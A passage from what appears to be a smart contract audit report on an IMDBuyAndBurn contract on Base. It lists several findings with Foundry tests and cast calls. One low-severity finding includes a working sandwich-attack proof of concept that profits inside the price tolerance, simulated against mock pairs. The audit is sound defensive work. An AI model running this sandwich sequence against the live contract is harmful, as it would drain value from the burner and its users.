                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract DustTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
          address constant DEAD = 0x000000000000000000000000000000000000dEaD;
      
          IMDBuyAndBurn burner;
      
          function setUp() public {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // Same token order as on Base: WETH is token0 of both pairs
              MockToken(WETH).mint(PAIR_A, 180e18);
              MockToken(USDC).mint(PAIR_A, 436_000e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, 16.5e18);
              MockToken(IMD).mint(PAIR_B, 6_600e18);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
          /// Remainder below THRESHOLD after a depth-capped burn is stranded
          function test_DepthCappedBurnStrandsDust() public {
              vm.warp(block.timestamp + 31 minutes);
              (uint256 depthIn,,,,) = burner.preview(); // 0 balance -> usdcIn 0; compute with a big balance instead
              MockToken(USDC).mint(address(burner), 10_000e6);
              (depthIn,,,,) = burner.preview();
              emit log_named_decimal_uint("depth cap", depthIn, 6);
              // set the balance to depth + $4
              MockToken(USDC).transfer(address(0xbeef), 0); // no-op
              vm.prank(address(burner));
              MockToken(USDC).transfer(address(0xbeef), 10_000e6 - depthIn - 4e6);
              assertEq(MockToken(USDC).balanceOf(address(burner)), depthIn + 4e6);
              burner.buyAndBurn();
              uint256 left = MockToken(USDC).balanceOf(address(burner));
              emit log_named_decimal_uint("left", left, 6);
              vm.warp(block.timestamp + 31 minutes);
              vm.expectRevert(abi.encodeWithSelector(IMDBuyAndBurn.BelowThreshold.selector, left));
              burner.buyAndBurn();
              assertEq(left, 0, "remainder below THRESHOLD should be spent or left at >= THRESHOLD");
          }
      }
    • lowSandwich that stays inside MAX_DEVIATION_BPS turns profitable once the USDC/WETH reserve falls below ~$330k: DEPTH_BPS = 50 is above the 30 bps fee break-even, so the README's cost argument does not hsrc/IMDBuyAndBurn.sol:42

      The price check (line 99) lets a burn run while the route's marginal price is up to MAX_DEVIATION_BPS = 3% worse than the TWAP, and README.md:29-30 accepts this because 'moving these pools by 3% costs far more in fees than 3% of a burn'. That is not true in general.

      Because anyone may call buyAndBurn(), the attacker does not need a mempool: in one transaction they buy WETH on USDC_WETH with x = dR/2 USDC (d = deviation, R = USDC reserve, no Fren Pet fee on this leg), call buyAndBurn() which spends S at the worse price, and sell the WETH back. Round-trip fees cost about 0.006x = 0.003dR; the gain is about d*S. The sandwich pays whenever S > 0.3% of R.

      The size cap allows S up to DEPTH_BPS = 0.5% of R (lines 167-170) and MAX_PER_BURN = 1,000 USDC otherwise.

      At today's reserves (R = 438,093 USDC) a 1,000 USDC burn is 0.23% of R and the attacker loses about 9.9 USDC (cost ~40 vs gain ~30, not 'far more'); at R = 330k they break even; at R = 300k they net 2.66 USDC and at 200k 11.75 USDC per burn; once depthA binds (R < 200k) S/R = 0.5% so every burn can be sandwiched profitably, in every 30-minute window while USDC keeps arriving, and the burner pays the full 3% each time: a systematic loss rather than the bounded one-off the README describes.

      The WETH/IMD leg is protected only by Fren Pet's 4% buy fee on the attacker (owner-settable down to 0).

      Fix: keep S at or below the break-even, e.g. DEPTH_BPS = 25 (then gain 0.0025dR < cost 0.003dR for any d) and/or lower MAX_DEVIATION_BPS (the TWAP equals spot to 1e-15 when flat, see test_BurnsTheUsdc, so 100 bps is usable); restate the README claim with the break-even condition.

      Mock pairs with the real Uniswap v2 K and fee rules: USDC/WETH with 200,000 USDC / 82.034 WETH (2,438 USDC/ETH), WETH/IMD as on Base (165.58 WETH / 66,004 IMD).

      Fund the contract with 1,000e6 USDC, warp 31 minutes.

      Attacker buys WETH with 3,070.77 USDC on pair A; preview() then shows spotOut/twapOut = 9700 bps, so buyAndBurn() passes the check and receives 298 bps less IMD than without the pump.

      Attacker sells the WETH back and holds 3,082.515658 USDC: +11.745658 USDC profit.

      Expected (README.md:30): a move inside the tolerance does not pay.

      Actual: it pays.

      Run: forge test --match-path test/scratch/Proof_297996ffeb86.t.sol -> FAIL: 3082515658 > 3070770000.

      The test sizes the pump from the contract's own MAX_DEVIATION_BPS and passes with DEPTH_BPS <= 25.

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      // Finding: a sandwich that stays inside MAX_DEVIATION_BPS on the USDC/WETH pair is profitable once that pair's USDC
      // reserve is below about $330k (today: $438k), because DEPTH_BPS = 50 lets one burn take 0.5% of the reserve while the
      // round-trip fee of a pump sized for deviation d is only 0.6% * d/2 of the reserve: the break-even is 0.3% of the
      // reserve per burn. Mock pairs with the real Uniswap v2 K and fee rules, no fork. The pump is sized from the contract's
      // own MAX_DEVIATION_BPS, so the test fails on this code and passes once the size cap or the tolerance is tightened
      // (for example DEPTH_BPS <= 25, or MAX_PER_BURN bounded by 0.25% of the USDC reserve).
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract SandwichWithinToleranceTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // WETH/USDC
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
          address constant DEAD = 0x000000000000000000000000000000000000dEaD;
      
          IMDBuyAndBurn burner;
          address attacker = makeAddr("attacker");
      
          function _out(uint256 x, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
              uint256 f = x * 997;
              return (f * rOut) / (rIn * 1000 + f);
          }
      
          function setUp() public {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // USDC/WETH pair with $200k a side at $2,438/ETH (today: $438k); WETH/IMD pair as on Base today
              MockToken(WETH).mint(PAIR_A, 82.034e18);
              MockToken(USDC).mint(PAIR_A, 200_000e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, 165.58e18);
              MockToken(IMD).mint(PAIR_B, 66_004e18);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
      
          /// Largest USDC buy of WETH in pair A that keeps the burn inside the contract's tolerance (bisection)
          function _spotAfterPump(uint256 spend, uint256 pump) internal view returns (uint256) {
              (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
              (uint112 wb, uint112 ib,) = MockPair(PAIR_B).getReserves();
              uint256 wOut = _out(pump, u0, w0);
              return (((spend * (uint256(w0) - wOut)) / (uint256(u0) + pump)) * ib) / wb;
          }
      
          function _pumpSize(uint256 spend, uint256 twapOut) internal view returns (uint256 lo) {
              uint256 floor_ = (twapOut * (10_000 - burner.MAX_DEVIATION_BPS())) / 10_000;
              (, uint112 u0,) = MockPair(PAIR_A).getReserves();
              uint256 hi = u0;
              for (uint256 i = 0; i < 100; i++) {
                  uint256 mid = (lo + hi) / 2;
                  if (_spotAfterPump(spend, mid) >= floor_) lo = mid;
                  else hi = mid;
              }
              lo = (lo * 999) / 1000; // stay strictly inside
          }
      
          function test_SandwichInsideToleranceDoesNotPay() public {
              MockToken(USDC).mint(address(burner), 1_000e6);
              vm.warp(block.timestamp + 31 minutes);
              (uint256 spend, uint256 twapOut,, uint256 honestPoolOut,) = burner.preview();
      
              // Front-run: buy WETH with USDC so that USDC buys just under MAX_DEVIATION_BPS less WETH
              uint256 usdcIn = _pumpSize(spend, twapOut);
              MockToken(USDC).mint(attacker, usdcIn);
              (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
              uint256 wethGot = _out(usdcIn, u0, w0);
              vm.startPrank(attacker);
              MockToken(USDC).transfer(PAIR_A, usdcIn);
              MockPair(PAIR_A).swap(wethGot, 0, attacker, "");
              vm.stopPrank();
      
              (,, uint256 spotOut, uint256 poolOut,) = burner.preview();
              emit log_named_uint("spot/twap bps after the pump", (spotOut * 10_000) / twapOut);
              emit log_named_decimal_uint("attacker USDC in", usdcIn, 6);
      
              // Victim: the burn passes the price check
              uint256 burned = burner.buyAndBurn();
              assertEq(burned, poolOut);
              emit log_named_uint("burn loss vs no pump, bps", ((honestPoolOut - burned) * 10_000) / honestPoolOut);
      
              // Back-run: sell the WETH back
              (w0, u0,) = MockPair(PAIR_A).getReserves();
              uint256 usdcBack = _out(wethGot, w0, u0);
              vm.startPrank(attacker);
              MockToken(WETH).transfer(PAIR_A, wethGot);
              MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
              vm.stopPrank();
      
              uint256 attackerUsdc = MockToken(USDC).balanceOf(attacker);
              emit log_named_decimal_int("attacker profit, USDC", int256(attackerUsdc) - int256(usdcIn), 6);
              assertLe(attackerUsdc, usdcIn, "a sandwich that stays inside the tolerance must not pay");
          }
      }
    • infoA burn can spend up to MAX_PER_BURN + THRESHOLD - 1 (1,004.999999 USDC); NatSpec and README state 'at most MAX_PER_BURN' / '$1,000 per call'src/IMDBuyAndBurn.sol:27

      Line 173 sets usdcIn = balance whenever balance <= depth and the remainder is below THRESHOLD; depth is not capped by MAX_PER_BURN, so with deep pools one call spends up to 1,004.999999 USDC. That stays within the depth bound, so the impact bound holds, but the NatSpec here ('and at most MAX_PER_BURN'), the MAX_PER_BURN comment at line 41, the _mulQ112 comment at line 223 and README.md:9 ('spends up to $1,000 per call') are wrong.

      Reported by audit_permissions and audit_math; merged.

      Fix: document the bound as MAX_PER_BURN + THRESHOLD (deep pools) or apply the dust rule only when balance <= MAX_PER_BURN + THRESHOLD - 1, and state it.

      Base fork (BASE_RPC): deal 1,004e6 USDC to the burner, warp 31 min, buyAndBurn().

      The Burned event reports usdcIn = 1,004,000,000 > MAX_PER_BURN = 1,000,000,000 and the balance is 0.

      The repository's own test_DustRemainderIsSpent does exactly this and passes (run on 2026-10-15, block ~52645423).

    • infoREADME understates the worst accepted loss: fees and the trade's own impact stack on the 3% tolerance (about 3.9% at $1,000, up to ~4.6% at the depth bound)README.md:30

      The check at src/IMDBuyAndBurn.sol:99 compares marginal prices only. The 0.3% fee of each hop and the trade's own impact (up to 0.5% of the input reserve on each hop) come on top of the 3% tolerance, so a burn whose spot sits at the edge of tolerance realizes about 3.9% less IMD than the TWAP at $1,000 into 165 WETH, and about 4.6% at the full depth bound on both hops. The NatSpec at lines 23-27 states this correctly; the README's trust section is what a reader relies on.

      Fix: say 'about 3% plus fees and impact, at most about 4.6%'.

      Mock pairs 436,000 USDC / 180 WETH and 165 WETH / 66,000 IMD, contract funded with 1,000e6, warp 31 minutes, then buy IMD on pair B with 1.48% of its WETH reserve (2.442 WETH) so the marginal price is 2.9% above the TWAP: preview() gives spotOut/twapOut = 9710 bps (passes the 9700 check) and poolOut/twapOut = 9607 bps; buyAndBurn() burns 9607 bps of twapOut, a 3.93% loss versus the TWAP (the un-pumped burn would have realized 9892 bps). Verified with test/scratch/Extra.t.sol test_LossAtEdgeOfTolerance.

    • infoTrust assumptions verified on Base; Circle's USDC pause/upgrade power is not listed next to the blacklistREADME.md:28

      Fix (5) checked against Base mainnet on 2026-10-15: Fren Pet's blacklist is not renounced (blacklistRenounced() = false); its uniswapV2Pair() is 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66, not the pair this contract uses, so 0xDE66...7337 can be blacklisted as the README says; buyTotalFees() = 4 and the setter caps at 5; 0x...dEaD is excluded from fees and from maxTransactionAmount; the pair is registered as an AMM pair. The documentation is accurate for the Fren Pet owner.

      One omission on the Circle side: FiatToken on Base is pausable (pauser() = 0xD3571B3bc51CECFf49194AD67aFFFC648d5e07b4, paused() = false today) and upgradeable; a pause stops USDC.transfer at src/IMDBuyAndBurn.sol:103 exactly like a blacklist, for its duration. Add 'pause or upgrade' next to 'blacklist' on this line. No code change.

      cast call 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105 'uniswapV2Pair()(address)' -> 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66; 'blacklistRenounced()(bool)' -> false; 'buyTotalFees()(uint256)' -> 4; 'isExcludedFromFees(address)(bool)' 0x...dEaD -> true. cast call 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 'paused()(bool)' -> false, 'pauser()(address)' -> 0xD3571B3bc51CECFf49194AD67aFFFC648d5e07b4. If the pauser calls pause(), USDC.transfer in buyAndBurn() reverts and burns are blocked, a case README.md:28 does not name.

  7. Onchain1 receipt, 5 scoreson Ethereum mainnet
    receipt
    work accepted · transaction · record
    scores
    5 scores for reviewed on submission · all 5 passed · block 26,199,169 · transaction#1327#92#1235#1905#363